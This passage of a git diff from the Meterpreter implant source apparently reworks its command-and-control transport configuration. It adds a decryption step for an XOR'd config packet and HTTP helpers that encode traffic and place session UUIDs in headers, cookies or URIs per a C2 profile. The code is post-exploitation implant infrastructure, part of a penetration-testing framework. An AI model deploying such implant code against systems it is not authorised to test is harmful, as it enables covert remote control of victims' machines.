TLV_TYPE_TRANS_PROXY_USER, ctx->proxy_user); - } - if (ctx->proxy_pass) - { - packet_add_tlv_wstring(transportGroup, TLV_TYPE_TRANS_PROXY_PASS, ctx->proxy_pass); - } - if (ctx->cert_hash) - { - packet_add_tlv_raw(transportGroup, TLV_TYPE_TRANS_CERT_HASH, ctx->cert_hash, CERT_HASH_SIZE); - } - if (ctx->custom_headers && ctx->custom_headers[0]) - { - packet_add_tlv_wstring(transportGroup, TLV_TYPE_TRANS_HEADERS, ctx->custom_headers); - } - break; - } - } + current->write_config(current, c2Packet); - packet_add_group(response, TLV_TYPE_TRANS_GROUP, transportGroup); + packet_add_group(response, TLV_TYPE_C2, c2Packet); current = current->next_transport; } while (first != current); @@ -309,7 +163,7 @@ DWORD remote_request_core_transport_remove(Remote* remote, Packet* packet) { Transport* found = NULL; Transport* transport = remote->transport; - wchar_t* transportUrl = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_URL); + wchar_t* transportUrl = packet_get_tlv_value_wstring(packet, TLV_TYPE_C2_URL); do { @@ -355,7 +209,7 @@ DWORD remote_request_core_transport_add(Remote* remote, Packet* packet) BOOL remote_request_core_transport_sleep(Remote* remote, Packet* packet, DWORD* result) { // we'll reuse the comm timeout TLV for this purpose - DWORD seconds = packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_COMM_TIMEOUT); + DWORD seconds = packet_get_tlv_value_uint(packet, TLV_TYPE_C2_COMM_TIMEOUT); dprintf("[DISPATCH] request received to sleep for %u seconds", seconds); @@ -415,7 +269,7 @@ DWORD remote_request_core_transport_setcerthash(Remote* remote, Packet* packet) } DWORD certHashLen = 0; - unsigned char* certHash = packet_get_tlv_value_raw(packet, TLV_TYPE_TRANS_CERT_HASH, &certHashLen); + unsigned char* certHash = packet_get_tlv_value_raw(packet, TLV_TYPE_C2_CERT_HASH, &certHashLen); HttpTransportContext* ctx = (HttpTransportContext*)remote->transport->ctx; // Support adding a new cert hash if one doesn't exist @@ -497,7 +351,7 @@ DWORD remote_request_core_transport_getcerthash(Remote* remote, Packet* packet) HttpTransportContext* ctx = (HttpTransportContext*)remote->transport->ctx; if (ctx->cert_hash) { - packet_add_tlv_raw(response, TLV_TYPE_TRANS_CERT_HASH, ctx->cert_hash, CERT_HASH_SIZE); + packet_add_tlv_raw(response, TLV_TYPE_C2_CERT_HASH, ctx->cert_hash, CERT_HASH_SIZE); } } @@ -755,9 +609,9 @@ DWORD remote_request_core_transport_set_timeouts(Remote * remote, Packet * packe break; } - int commsTimeout = (int)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_COMM_TIMEOUT); - DWORD retryTotal = (DWORD)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_RETRY_TOTAL); - DWORD retryWait = (DWORD)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_RETRY_WAIT); + int commsTimeout = (int)packet_get_tlv_value_uint(packet, TLV_TYPE_C2_COMM_TIMEOUT); + DWORD retryTotal = (DWORD)packet_get_tlv_value_uint(packet, TLV_TYPE_C2_RETRY_TOTAL); + DWORD retryWait = (DWORD)packet_get_tlv_value_uint(packet, TLV_TYPE_C2_RETRY_WAIT); set_transport_session_expiry(remote, packet); @@ -783,11 +637,11 @@ DWORD remote_request_core_transport_set_timeouts(Remote * remote, Packet * packe // for the session expiry, return how many seconds are left before the session actually expires if (remote->sess_expiry_end) { - packet_add_tlv_uint(response, TLV_TYPE_TRANS_SESSION_EXP, remote->sess_expiry_end - current_unix_timestamp()); + packet_add_tlv_uint(response, TLV_TYPE_SESSION_EXPIRY, remote->sess_expiry_end - current_unix_timestamp()); } - packet_add_tlv_uint(response, TLV_TYPE_TRANS_COMM_TIMEOUT, remote->transport->timeouts.comms); - packet_add_tlv_uint(response, TLV_TYPE_TRANS_RETRY_TOTAL, remote->transport->timeouts.retry_total); - packet_add_tlv_uint(response, TLV_TYPE_TRANS_RETRY_WAIT, remote->transport->timeouts.retry_wait); + packet_add_tlv_uint(response, TLV_TYPE_C2_COMM_TIMEOUT, remote->transport->timeouts.comms); + packet_add_tlv_uint(response, TLV_TYPE_C2_RETRY_TOTAL, remote->transport->timeouts.retry_total); + packet_add_tlv_uint(response, TLV_TYPE_C2_RETRY_WAIT, remote->transport->timeouts.retry_wait); } while (0); diff --git a/c/meterpreter/source/metsrv/core.c b/c/meterpreter/source/metsrv/core.c index deccdfc6e..65fba3e85 100644 --- a/c/meterpreter/source/metsrv/core.c +++ b/c/meterpreter/source/metsrv/core.c @@ -758,9 +758,104 @@ DWORD packet_get_tlv_group_entry(Packet *packet, Tlv *group, TlvType type, Tlv * return packet_find_tlv_buf(packet, group->buffer, group->header.length, 0, type, entry); } +PCHAR packet_get_tlv_group_entry_value_string(Packet *packet, Tlv *group, TlvType type, DWORD* size) +{ + Tlv entry = { 0 }; + if (size != NULL) + { + *size = 0; + } + + if (packet_get_tlv_group_entry(packet, group, type, &entry) == ERROR_SUCCESS) + { + if (size != NULL) + { + *size = entry.header.length; + } + return (PCHAR)entry.buffer; + } + + return NULL; +} + +PWCHAR packet_get_tlv_group_entry_value_wstring(Packet *packet, Tlv *group, TlvType type, DWORD* size) +{ + PWCHAR result = NULL; + + if (size != NULL) + { + *size = 0; + } + + DWORD s = 0; + PCHAR v = packet_get_tlv_group_entry_value_string(packet, group, type, &s); + + if (v != NULL) + { + + s = (DWORD)mbstowcs(NULL, v, 0) + 1; + result = (PWCHAR)calloc(s, sizeof(wchar_t)); + if (result) + { + mbstowcs(result, v, s); + + if (size != NULL) + { + *size = s; + } + } + } + + return result; +} + +LPBYTE packet_get_tlv_group_entry_value_raw_copy(Packet* packet, Tlv* group, TlvType type, DWORD* size) +{ + LPBYTE value = packet_get_tlv_group_entry_value_raw(packet, group, type, size); + if (value) + { + LPBYTE copy = (LPBYTE)calloc(*size, 1); + memcpy_s(copy, *size, value, *size); + return copy; + } + return NULL; +} + +LPBYTE packet_get_tlv_group_entry_value_raw(Packet *packet, Tlv *group, TlvType type, DWORD* size) +{ + Tlv entry = { 0 }; + if (size != NULL) + { + *size = 0; + } + + if (packet_get_tlv_group_entry(packet, group, type, &entry) == ERROR_SUCCESS) + { + if (size != NULL) + { + *size = entry.header.length; + } + return entry.buffer; + } + + return NULL; +} + +UINT packet_get_tlv_group_entry_value_uint(Packet *packet, Tlv *group, TlvType type) +{ + Tlv entry = { 0 }; + if (packet_get_tlv_group_entry(packet, group, type, &entry) == ERROR_SUCCESS) + { + return ntohl(*(UINT*)entry.buffer); + } + + return 0; +} + /*! * @brief Enumerate a TLV (with the option of constraining its type). * @param packet Pointer to the packet to get the TLV from. + * @param index The index of the TLV to extract. * @param type Type of TLV to get (optional). * @param tlv Pointer to the TLV that will receive the data. * @return Indication of success or failure. @@ -772,6 +867,23 @@ DWORD packet_enum_tlv(Packet *packet, DWORD index, TlvType type, Tlv *tlv) return packet_find_tlv_buf(packet, packet->payload, packet->payloadLength, index, type, tlv); } +/*! + * @brief Enumerate a TLV of a given type from a group TLV in the packet. + * @param packet Pointer to the packet to get the TLV from. + * @param group Pointer to the group TLV to get the value from. + * @param index The index of the TLV to extract. + * @param type Type of TLV to get. + * @param tlv Pointer to the TLV that will receive the data. + * @return Indication of success or failure. + * @retval ERROR_SUCCESS The operation completed successfully. + * @retval ERROR_NOT_FOUND Unable to find the TLV. + */ +DWORD packet_enum_group_tlv(Packet* packet, Tlv* group, DWORD index, TlvType type, Tlv* tlv) +{ + return packet_find_tlv_buf(packet, group->buffer, group->header.length, index, type, tlv); +} + + /*! * @brief Get the string value of a TLV. * @param packet Pointer to the packet to get the TLV from. @@ -896,7 +1008,10 @@ BYTE * packet_get_tlv_value_raw(Packet * packet, TlvType type, DWORD* length) return NULL; } - *length = tlv.header.length; + if (length != NULL) + { + *length = tlv.header.length; + } return tlv.buffer; } @@ -1339,7 +1454,7 @@ DWORD packet_transmit(Remote* remote, Packet* packet, PacketRequestCompletion* c packet_add_request_id(packet); // Always add the UUID to the packet as well, so that MSF knows who and what we are - packet_add_tlv_raw(packet, TLV_TYPE_UUID, remote->orig_config->session.uuid, UUID_SIZE); + packet_add_tlv_raw(packet, TLV_TYPE_UUID, remote->uuid, UUID_SIZE); do { diff --git a/c/meterpreter/source/metsrv/core.h b/c/meterpreter/source/metsrv/core.h index cff1647f8..6ae7adbb8 100644 --- a/c/meterpreter/source/metsrv/core.h +++ b/c/meterpreter/source/metsrv/core.h @@ -15,11 +15,11 @@ * Packet manipulation */ Packet* packet_create(PacketTlvType type, UINT commandId); -Packet *packet_create_response(Packet *packet); +Packet* packet_create_response(Packet *packet); Packet* packet_create_group(); -Packet *packet_duplicate(Packet *packet); VOID packet_destroy(Packet *packet); + DWORD packet_add_group(Packet* packet, TlvType type, Packet* groupPacket); DWORD packet_add_tlv_string(Packet *packet, TlvType type, LPCSTR str); DWORD packet_add_tlv_wstring(Packet *packet, TlvType type, LPCWSTR str); @@ -37,6 +37,13 @@ DWORD packet_get_tlv(Packet *packet, TlvType type, Tlv *tlv); DWORD packet_get_tlv_string(Packet *packet, TlvType type, Tlv *tlv); DWORD packet_get_tlv_group_entry(Packet *packet, Tlv *group, TlvType type,Tlv *entry); DWORD packet_enum_tlv(Packet *packet, DWORD index, TlvType type, Tlv *tlv); +DWORD packet_enum_group_tlv(Packet* packet, Tlv* group, DWORD index, TlvType type, Tlv* tlv); + +UINT packet_get_tlv_group_entry_value_uint(Packet* packet, Tlv* group, TlvType type); +LPBYTE packet_get_tlv_group_entry_value_raw(Packet* packet, Tlv* group, TlvType type, DWORD* size); +LPBYTE packet_get_tlv_group_entry_value_raw_copy(Packet* packet, Tlv* group, TlvType type, DWORD* size); +PCHAR packet_get_tlv_group_entry_value_string(Packet *packet, Tlv *group, TlvType type, DWORD* size); +PWCHAR packet_get_tlv_group_entry_value_wstring(Packet *packet, Tlv *group, TlvType type, DWORD* size); BOOL packet_get_tlv_uint(Packet *packet, TlvType type, UINT* output); diff --git a/c/meterpreter/source/metsrv/metsrv.c b/c/meterpreter/source/metsrv/metsrv.c index 93773e661..4d19067c1 100644 --- a/c/meterpreter/source/metsrv/metsrv.c +++ b/c/meterpreter/source/metsrv/metsrv.c @@ -14,9 +14,35 @@ #include "../ReflectiveDLLInjection/inject/src/GetProcAddressR.c" #include "../ReflectiveDLLInjection/inject/src/LoadLibraryR.c" -DWORD Init(MetsrvConfig* metConfig) +#include "packet_encryption.h" + +DWORD Init(MetsrvConfig* config) { - INIT_LOGGING(metConfig) + dprintf("[METSRV] Initializing from configuration: 0x%p", config); + + // take a copy of the packet header so that we can manipulate it locally + PacketHeader header = *(PacketHeader*)config->config_packet; + + // decode as it might be xor'd + xor_bytes(header.xor_key, (PUCHAR)&header + sizeof(header.xor_key), sizeof(PacketHeader) - sizeof(header.xor_key)); + + UINT configLength = ntohl(header.length) - sizeof(TlvHeader); + UINT configBlockSize = sizeof(PacketHeader) + configLength; + dprintf("[METSRV] Config length is %u 0x%08x", configLength, configLength); + dprintf("[METSRV] Config block size is %u 0x%08x", configBlockSize, configBlockSize); + + // Get a full copy of the entire packet ready for decoding + PBYTE configBuffer = (PBYTE)malloc(configBlockSize); + memcpy_s(configBuffer, configBlockSize, config->config_packet, configBlockSize); + Packet* configPacket = NULL; + dprintf("[METSRV] decrypting config packet"); + SetLastError(decrypt_packet(NULL, &configPacket, configBuffer, configBlockSize)); + +#ifdef DEBUGTRACE + PWSTR logPath = packet_get_tlv_value_wstring(configPacket, TLV_TYPE_DEBUG_LOG); + INIT_LOGGING(logPath); + free(logPath); +#endif // if hAppInstance is still == NULL it means that we havent been // reflectivly loaded so we must patch in the hAppInstance value @@ -25,14 +51,16 @@ DWORD Init(MetsrvConfig* metConfig) // In the case of metsrv payloads, the parameter passed to init is NOT a socket, it's actually // a pointer to the metserv configuration, so do a nasty cast and move on. - dprintf("[METSRV] Getting ready to init with config %p", metConfig); - DWORD result = server_setup(metConfig); + dprintf("[METSRV] Getting ready to init with config %p", config); + DWORD result = server_setup(config, configPacket); + UINT exitFunc = packet_get_tlv_value_uint(configPacket, TLV_TYPE_EXITFUNC); - dprintf("[METSRV] Exiting with %08x", metConfig->session.exit_func); + dprintf("[METSRV] Exiting with %08x", exitFunc); + packet_destroy(configPacket); // We also handle exit func directly in metsrv now because the value is added to the // configuration block and we manage to save bytes in the stager/header as well. - switch (metConfig->session.exit_func) + switch (exitFunc) { case EXITFUNC_SEH: SetUnhandledExceptionFilter(NULL); diff --git a/c/meterpreter/source/metsrv/metsrv.h b/c/meterpreter/source/metsrv/metsrv.h index 7013b66d5..df409626b 100644 --- a/c/meterpreter/source/metsrv/metsrv.h +++ b/c/meterpreter/source/metsrv/metsrv.h @@ -54,7 +54,7 @@ VOID xor_bytes(BYTE xorKey[4], LPBYTE buffer, DWORD bufferSize); BOOL is_null_guid(BYTE guid[sizeof(GUID)]); VOID rand_xor_key(BYTE buffer[4]); -DWORD server_setup(MetsrvConfig* config); +DWORD server_setup(MetsrvConfig* config, Packet* configPacket); typedef DWORD (*PSRVINIT)(MetApi* api, Remote *remote); typedef DWORD (*PSRVDEINIT)(Remote *remote); typedef VOID (*PCMDADDED)(UINT command_id); diff --git a/c/meterpreter/source/metsrv/packet_encryption.c b/c/meterpreter/source/metsrv/packet_encryption.c index 10b1b21c8..2ca9823b7 100644 --- a/c/meterpreter/source/metsrv/packet_encryption.c +++ b/c/meterpreter/source/metsrv/packet_encryption.c @@ -64,7 +64,7 @@ DWORD decrypt_packet(Remote* remote, Packet** packet, LPBYTE buffer, DWORD buffe vdprintf("[DEC] Encryption flags set to %x", encFlags); // Only decrypt if the context was set up correctly - if (remote->enc_ctx != NULL && remote->enc_ctx->valid && encFlags != ENC_FLAG_NONE) + if (remote && remote->enc_ctx != NULL && remote->enc_ctx->valid && encFlags != ENC_FLAG_NONE) { vdprintf("[DEC] Context is valid, moving on ... "); LPBYTE payload = buffer + sizeof(PacketHeader); @@ -182,10 +182,14 @@ DWORD encrypt_packet(Remote* remote, Packet* packet, LPBYTE* buffer, LPDWORD buf rand_xor_key(packet->header.xor_key); // copy the session ID to the header as this will be used later to identify the packet's destination session - memcpy_s(packet->header.session_guid, sizeof(packet->header.session_guid), remote->orig_config->session.session_guid, sizeof(remote->orig_config->session.session_guid)); + memcpy_s(packet->header.session_guid, sizeof(packet->header.session_guid), remote->session_guid, sizeof(remote->session_guid)); - // Only encrypt if the context was set up correctly - if (remote->enc_ctx != NULL && remote->enc_ctx->valid) + // Only encrypt if the context was set up correctly and it's not a config packet + if (ntohl(packet->header.type) == PACKET_TLV_TYPE_CONFIG) + { + vdprintf("[ENC] Config packet found, no encryption will be performed"); + } + else if (remote->enc_ctx != NULL && remote->enc_ctx->valid) { vdprintf("[ENC] Context is valid, moving on ... "); // only encrypt the packet if encryption has been enabled @@ -287,6 +291,7 @@ DWORD encrypt_packet(Remote* remote, Packet* packet, LPBYTE* buffer, LPDWORD buf if (*buffer == NULL) { *bufferSize = packet->payloadLength + sizeof(packet->header); + vdprintf("[ENC] Creating buffer for payload, size: %u", *bufferSize); *buffer = (BYTE*)malloc(*bufferSize); BYTE* headerPos = *buffer; @@ -462,10 +467,72 @@ DWORD free_encryption_context(Remote* remote) return result; } -DWORD request_negotiate_aes_key(Remote* remote, Packet* packet) +DWORD create_enc_ctx_from_key(Remote* remote, LPBYTE key, DWORD keySize) { DWORD result = ERROR_SUCCESS; + + do + { + if (remote->enc_ctx != NULL) + { + free_encryption_context(remote); + } + + remote->enc_ctx = (PacketEncryptionContext*)calloc(1, sizeof(PacketEncryptionContext)); + + if (remote->enc_ctx == NULL) + { + dprintf("[ENC] failed to allocate the encryption context"); + result = ERROR_OUTOFMEMORY; + break; + } + + PacketEncryptionContext* ctx = remote->enc_ctx; + + for (int i = 0; i < _countof(AesProviders); ++i) + { + if (!CryptAcquireContext(&ctx->provider, NULL, AesProviders[i].provider, AesProviders[i].type, AesProviders[i].flags)) + { + result = GetLastError(); + dprintf("[ENC] failed to acquire the crypt context %d: %d (%x)", i, result, result); + } + else + { + result = ERROR_SUCCESS; + ctx->provider_idx = i; + dprintf("[ENC] managed to acquire the crypt context %d!", i); + break; + } + } + + if (result != ERROR_SUCCESS) + { + break; + } + + ctx->key_data.header.bType = PLAINTEXTKEYBLOB; + ctx->key_data.header.bVersion = CUR_BLOB_VERSION; + ctx->key_data.header.aiKeyAlg = CALG_AES_256; + ctx->key_data.length = keySize; + memcpy_s(ctx->key_data.key, sizeof(ctx->key_data.key), key, keySize); + + if (!CryptImportKey(ctx->provider, (const BYTE*)&ctx->key_data, sizeof(Aes256Key), 0, 0, &ctx->aes_key)) + { + result = GetLastError(); + dprintf("[ENC] failed to import random key: %d (%x)", result, result); + break; + } + + ctx->valid = TRUE; + } while (0); + + return result; +} + +DWORD request_negotiate_aes_key(Remote* remote, Packet* packet) +{ Packet* response = packet_create_response(packet); + DWORD result = ERROR_SUCCESS; do { @@ -552,5 +619,6 @@ DWORD request_negotiate_aes_key(Remote* remote, Packet* packet) remote->enc_ctx->enabled = TRUE; - return ERROR_SUCCESS; + return result; } + diff --git a/c/meterpreter/source/metsrv/packet_encryption.h b/c/meterpreter/source/metsrv/packet_encryption.h index 9dfef333d..a38b58b2c 100644 --- a/c/meterpreter/source/metsrv/packet_encryption.h +++ b/c/meterpreter/source/metsrv/packet_encryption.h @@ -29,6 +29,7 @@ typedef struct _Packet Packet; DWORD decrypt_packet(Remote* remote, Packet** packet, LPBYTE buffer, DWORD bufferSize); DWORD encrypt_packet(Remote* remote, Packet* packet, LPBYTE* buffer, LPDWORD bufferSize); +DWORD create_enc_ctx_from_key(Remote* remote, LPBYTE key, DWORD keySize); DWORD request_negotiate_aes_key(Remote* remote, Packet* packet); DWORD free_encryption_context(Remote* remote); diff --git a/c/meterpreter/source/metsrv/remote.c b/c/meterpreter/source/metsrv/remote.c index 33e698ea6..2b8ca5d8c 100644 --- a/c/meterpreter/source/metsrv/remote.c +++ b/c/meterpreter/source/metsrv/remote.c @@ -70,8 +70,6 @@ VOID remote_deallocate(Remote * remote) lock_destroy(remote->lock); } - free(remote->orig_config); - // Wipe our structure from memory memset(remote, 0, sizeof(Remote)); diff --git a/c/meterpreter/source/metsrv/remote_dispatch.c b/c/meterpreter/source/metsrv/remote_dispatch.c index 1969494aa..311ebe191 100644 --- a/c/meterpreter/source/metsrv/remote_dispatch.c +++ b/c/meterpreter/source/metsrv/remote_dispatch.c @@ -21,7 +21,7 @@ DWORD request_core_machine_id(Remote* remote, Packet* packet); DWORD request_core_get_session_guid(Remote* remote, Packet* packet); DWORD request_core_set_session_guid(Remote* remote, Packet* packet); DWORD request_core_set_uuid(Remote* remote, Packet* packet); -BOOL request_core_patch_url(Remote* remote, Packet* packet, DWORD* result); +BOOL request_core_patch_uuid(Remote* remote, Packet* packet, DWORD* result); // Dispatch table Command customCommands[] = @@ -34,7 +34,7 @@ Command customCommands[] = COMMAND_REQ(COMMAND_ID_CORE_SET_UUID, request_core_set_uuid), COMMAND_REQ(COMMAND_ID_CORE_PIVOT_ADD, request_core_pivot_add), COMMAND_REQ(COMMAND_ID_CORE_PIVOT_REMOVE, request_core_pivot_remove), - COMMAND_INLINE_REP(COMMAND_ID_CORE_PATCH_URL, request_core_patch_url), + COMMAND_INLINE_REP(COMMAND_ID_CORE_PATCH_UUID, request_core_patch_uuid), COMMAND_TERMINATOR }; @@ -105,21 +105,19 @@ BOOL ext_cmd_callback(LPVOID pState, LPVOID pData) return FALSE; } -BOOL request_core_patch_url(Remote* remote, Packet* packet, DWORD* result) +BOOL request_core_patch_uuid(Remote* remote, Packet* packet, DWORD* result) { // this is a special case because we don't actually send // response to this. This is a brutal switch without any // other forms of comms, and this is because of stageless // payloads - if (remote->transport->type == METERPRETER_TRANSPORT_TCP) - { - // This shouldn't happen. - *result = ERROR_INVALID_STATE; - } - else + *result = ERROR_INVALID_STATE; + if (remote->transport->type == METERPRETER_TRANSPORT_HTTPS || remote->transport->type == METERPRETER_TRANSPORT_HTTP) { HttpTransportContext* ctx = (HttpTransportContext*)remote->transport->ctx; - ctx->new_uri = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_URL); + SAFE_FREE(ctx->uuid); + ctx->uuid = packet_get_tlv_value_wstring(packet, TLV_TYPE_C2_UUID); + dprintf("[PATCH UUID] New UUID is %S", ctx->uuid); *result = ERROR_SUCCESS; } return TRUE; @@ -451,7 +449,7 @@ DWORD request_core_set_uuid(Remote* remote, Packet* packet) if (newUuid != NULL) { - memcpy(remote->orig_config->session.uuid, newUuid, UUID_SIZE); + memcpy(remote->uuid, newUuid, UUID_SIZE); } if (response) @@ -473,7 +471,7 @@ DWORD request_core_get_session_guid(Remote* remote, Packet* packet) Packet* response = packet_create_response(packet); if (response) { - packet_add_tlv_raw(response, TLV_TYPE_SESSION_GUID, &remote->orig_config->session.session_guid, sizeof(GUID)); + packet_add_tlv_raw(response, TLV_TYPE_SESSION_GUID, remote->session_guid, sizeof(remote->session_guid)); packet_transmit_response(ERROR_SUCCESS, remote, response); } return ERROR_SUCCESS; @@ -493,7 +491,7 @@ DWORD request_core_set_session_guid(Remote* remote, Packet* packet) if (sessionGuid != NULL) { - memcpy(remote->orig_config->session.session_guid, sessionGuid, sizeof(GUID)); + memcpy(remote->session_guid, sessionGuid, sizeof(GUID)); } else { diff --git a/c/meterpreter/source/metsrv/server_http_utils.c b/c/meterpreter/source/metsrv/server_http_utils.c new file mode 100644 index 000000000..5d69f683b --- /dev/null +++ b/c/meterpreter/source/metsrv/server_http_utils.c @@ -0,0 +1,342 @@ +/*! + * @file server_http_utils.c + * @remark HTTP utility function definitions. + */ +#include "metsrv.h" + +/*! + * @brief Convert a Base64URL-encoded string to standard Base64 in-place. + * @param str Pointer to the string to convert (modified in-place). + * @param len Length of the string. + * @param paddedLen Pointer that will receive the length of the padded string. + * @return Pointer to a new buffer containing the standard Base64 string (with + * padding), or NULL on allocation failure. The caller must free() the + * returned buffer. + */ +static LPBYTE b64uri_to_b64(LPBYTE str, DWORD len, LPDWORD paddedLen) +{ + DWORD padNeeded = (4 - (len % 4)) % 4; + *paddedLen = len + padNeeded; + + LPBYTE result = (LPBYTE)calloc(sizeof(BYTE), *paddedLen + 1); + if (result == NULL) + { + return NULL; + } + + memcpy(result, str, len); + + for (DWORD i = 0; i < len; i++) + { + if (result[i] == '-') result[i] = '+'; + else if (result[i] == '_') result[i] = '/'; + } + + memset(result + len, '=', padNeeded); + + return result; +} + +/*! + * @brief Convert a standard Base64 string to Base64URL in-place. + * @param str Pointer to the string to convert (modified in-place). + * @param len Pointer to the length of the string; updated to reflect + * the new length after padding is stripped. + */ +static void b64_to_b64uri(LPBYTE str, LPDWORD len) +{ + DWORD i; + for (i = 0; i < *len; i++) + { + if (str[i] == '+') str[i] = '-'; + else if (str[i] == '/') str[i] = '_'; + else if (str[i] == '=') break; + } + + str[i] = '\0'; + *len = i; +} + +/*! + * @brief Decode incoming packet data based on the configuration. + * @param ctx Pointer to the HTTP transport context. + * @param encodedData Pointer to the data that is to be decoded. + * @param encodedDataLen Size, in bytes, of the data to be decoded. + * @param data Pointer that will receive the decoded data. + * @param dataLen Pointer that will receive the length of the decoded data. + * @return FALSE indicates whether to call free() on the returned value. + * @description If no decoding is to be done, the returned buffer will just + * point to the inbound buffer. In this case, the caller should not free() + * the buffer, and will know not to do so by the \c FALSE result. Otherwise + * the caller should free() the \c data buffer when the result is \c TRUE. + */ +BOOL decode_encoded_packet(HttpTransportContext* ctx, LPBYTE encodedData, DWORD encodedDataLen, LPBYTE* data, LPDWORD dataLen) +{ + HttpConnection* conn = &ctx->get_connection; + BOOL result = FALSE; + + switch (conn->options.encode_flags) + { + case C2_ENCODING_URL: + { + // TODO? + break; + } + case C2_ENCODING_B64: + case C2_ENCODING_B64URI: + { + LPBYTE decodeInput = encodedData; + DWORD decodeInputLen = encodedDataLen; + LPBYTE convertedBuf = NULL; + + if (conn->options.encode_flags == C2_ENCODING_B64URI) + { + convertedBuf = b64uri_to_b64(encodedData, encodedDataLen, &decodeInputLen); + if (convertedBuf == NULL) + { + break; + } + decodeInput = convertedBuf; + } + + if (CryptStringToBinaryA(decodeInput, decodeInputLen, CRYPT_STRING_BASE64, NULL, dataLen, NULL, NULL)) + { + LPBYTE decoded = (LPBYTE)calloc(sizeof(BYTE), *dataLen + 1); + if (decoded != NULL) + { + if (CryptStringToBinaryA(decodeInput, decodeInputLen, CRYPT_STRING_BASE64, decoded, dataLen, NULL, NULL)) + { + result = TRUE; + *data = decoded; + } + else + { + free(decoded); + } + } + } + + if (convertedBuf) + { + free(convertedBuf); + } + + break; + } + case C2_ENCODING_NONE: + default: + { + // do nothing here, as the data doesn't need to be handled + break; + } + } + + if (!result) + { + *data = encodedData; + *dataLen = encodedDataLen; + } + + return result; +} + +/*! + * @brief Encoding outgoing packet data based on the configuration. + * @param ctx Pointer to the HTTP transport context. + * @param data Pointer to the data to be encoded. + * @param dataLen Length of the data to be encoded. + * @param encodedData Pointer that will receive the encoded data. + * @param encodedDataLen Size, in bytes, of the encoded data. + * @return FALSE indicates whether to call free() on the returned value. + * @description If no encoding is to be done, the returned buffer will just + * point to the inbound buffer. In this case, the caller should not free() + * the buffer, and will know not to do so by the \c FALSE result. Otherwise + * the caller should free() the \c data buffer when the result is \c TRUE. + */ +BOOL encode_raw_packet(HttpTransportContext* ctx, LPBYTE data, DWORD dataLen, LPBYTE* encodedData, LPDWORD encodedDataLen) +{ + HttpConnection* conn = &ctx->post_connection; + BOOL result = FALSE; + + switch (conn->options.encode_flags) + { + case C2_ENCODING_URL: + { + // TODO? + break; + } + case C2_ENCODING_B64: + case C2_ENCODING_B64URI: + { + DWORD flags = CRYPT_STRING_BASE64 | CRYPT_STRING_NOCRLF; + + if (CryptBinaryToStringA(data, dataLen, flags, NULL, encodedDataLen)) + { + LPBYTE encoded = (LPBYTE)calloc(sizeof(BYTE), *encodedDataLen + 1); + if (encoded != NULL) + { + if (CryptBinaryToStringA(data, dataLen, flags, encoded, encodedDataLen)) + { + if (conn->options.encode_flags == C2_ENCODING_B64URI) + { + b64_to_b64uri(encoded, encodedDataLen); + } + + result = TRUE; + *encodedData = encoded; + } + else + { + free(encoded); + } + } + } + + break; + } + case C2_ENCODING_NONE: + default: + { + // do nothing here, as the data doesn't need to be handled + break; + } + } + + if (!result) + { + *encodedData = data; + *encodedDataLen = dataLen; + } + + return result; +} + +/*! + * @brief Generate a set of valid HTTP headers for the given connection. + * @param ctx Pointer to the HTTP transport context. + * @param conn Pointer to the connection that contains the header configuration. + * @return Pointer to the headers that are generated. This must be free()'d by the caller. + */ +PWSTR generate_headers(HttpTransportContext* ctx, HttpConnection* conn) +{ + PWSTR headers = ctx->default_options.headers; + + if (conn->options.headers) + { + headers = conn->options.headers; + } + + PWSTR outboundHeaders = NULL; + PWSTR uuidHeader = conn->options.uuid_header ? conn->options.uuid_header : ctx->default_options.uuid_header; + if (uuidHeader) + { + // UUID is going in the header, so we need to add it. Let's hope people aren't + // stupid enough to double-up this header. Length needs to include space for \r\n and the colon/space, + // AND the UUID length itself. + size_t extraHeaderLength = wcslen(uuidHeader) + 2 + wcslen(ctx->uuid) + 2; + size_t totalHeaderLength = extraHeaderLength + (headers ? wcslen(headers) : 0) + 2; + outboundHeaders = (PWCHAR)calloc(totalHeaderLength, sizeof(wchar_t)); + + if (headers) + { + wcscat_s(outboundHeaders, totalHeaderLength, headers); + wcscat_s(outboundHeaders, totalHeaderLength, L"\r\n"); + } + wcscat_s(outboundHeaders, totalHeaderLength, uuidHeader); + wcscat_s(outboundHeaders, totalHeaderLength, L": "); + wcscat_s(outboundHeaders, totalHeaderLength, ctx->uuid); + } + else if (headers) + { + outboundHeaders = _wcsdup(headers); + } + + if (outboundHeaders) + { + dprintf("[WINHTTP] Outbound headers for this request: %S", outboundHeaders); + } + + return outboundHeaders; +} + +/*! + * @brief Generate the correct URI for the given HTTP connection. + * @param ctx Reference to the \c HttpTransportContext associated with the request. + * @param HttpConnect Reference to the \c HttpConnection associated with the request. + * @return Pointer to a wchar_t string containing the URI. Should be free()'d by the caller. + * @details This function will steal the UUID from the existing base URI and make sure it + * is included with any outbound URI that is associated with the request, and hence allows + * for the URI to change between get and post requests based on a C2 profile. + */ +PWSTR generate_uri(HttpTransportContext* ctx, HttpConnection* conn) +{ + PWCHAR baseUri = ctx->default_options.uri; + if (conn->options.uri) + { + baseUri = conn->options.uri; + } + + // if we don't have a UUID yet we are going to assume that it's in the base URI. + // If we do have a URI specified for this connection, we need to parse it. But only + // if the UUID location parameter is not specified in the cookie/httpheader + if (!ctx->uuid || conn->options.uuid_cookie || conn->options.uuid_header || ctx->default_options.uuid_cookie || ctx->default_options.uuid_header) + { + // return a copy of the baseUri in this case, the caller should free the result. + return _wcsdup(baseUri); + } + + PWCHAR getParam = ctx->default_options.uuid_get; + if (conn->options.uuid_get) + { + getParam = conn->options.uuid_get; + } + + + // General form of the URI will be + // -- /some/uri/(UUID)?some=thing(¶m=UUID) + // The location of the UUID changes depending on what's provided in the configuration + + PWCHAR queryString = wcschr(baseUri, L'?'); + size_t queryStringLen = queryString ? wcslen(queryString) : 0; + size_t baseUriLen = queryString ? queryString - baseUri : wcslen(baseUri); + size_t uuidLen = wcslen(ctx->uuid) + 2; // enough space for including slashes if required + + if (getParam) + { + queryStringLen += 2 + wcslen(getParam); + } + + // now let's glue the things together (with NULL terminator) + size_t uriLen = baseUriLen + queryStringLen + uuidLen + 1; + PWCHAR uri = (PWCHAR)calloc(uriLen, sizeof(wchar_t)); + + wcsncpy_s(uri, uriLen, baseUri, baseUriLen); + + // we put the UUID in the URI if it's not going in the query string + if (!getParam) + { + wcscat_s(uri, 